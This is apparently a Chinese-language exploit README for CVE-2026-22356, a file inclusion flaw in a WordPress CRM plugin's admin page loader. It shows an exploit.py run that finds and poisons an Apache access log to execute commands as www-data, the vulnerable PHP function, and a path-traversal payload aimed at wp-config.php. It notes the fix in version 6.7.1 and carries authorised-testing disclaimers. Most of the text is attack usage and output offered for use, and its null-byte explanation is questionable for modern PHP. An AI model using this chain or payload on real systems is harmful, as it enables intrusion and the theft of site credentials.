警告: 此工具仅应用于授权的测试环境。非法使用完全由用户负责。
pip3 install requests urllib3
$ python3 exploit.py https://example.com --rce --cmd "id"
[+] Target is VULNERABLE to LFI!
[*] Attempting Log Poisoning for RCE...
[*] Searching for accessible log files...
[*] Trying: ../../../../var/log/apache2/access.log
[+] Found accessible log file: ../../../../var/log/apache2/access.log
[*] Poisoning log file: ../../../../var/log/apache2/access.log
[+] Payload injected into log file.
[*] Executing command: id
[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
function jpcrm_load_admin_page( $page_name, $alt_path = ZEROBSCRM_PATH ) {
$target_file = $alt_path . "admin/$page_name.page.php";
if ( file_exists( $target_file ) ) {
require_once $target_file;
}
}
这段代码中$page_name没有经过任何验证直接使用,因此攻击者可以通过发送page=../../../wp-config.php%00来触发require_once("admin/../../../wp-config.php%00.page.php")调用。当PHP将null字节解释为文件名的结尾时,wp-config.php文件会被执行。
在6.7.1版本中,通过添加realpath()和strpos()检查修复了此代码。
此文档旨在帮助您理解CVE-2026-22356漏洞并在授权测试中使用。任何非法使用均由用户承担全部责任。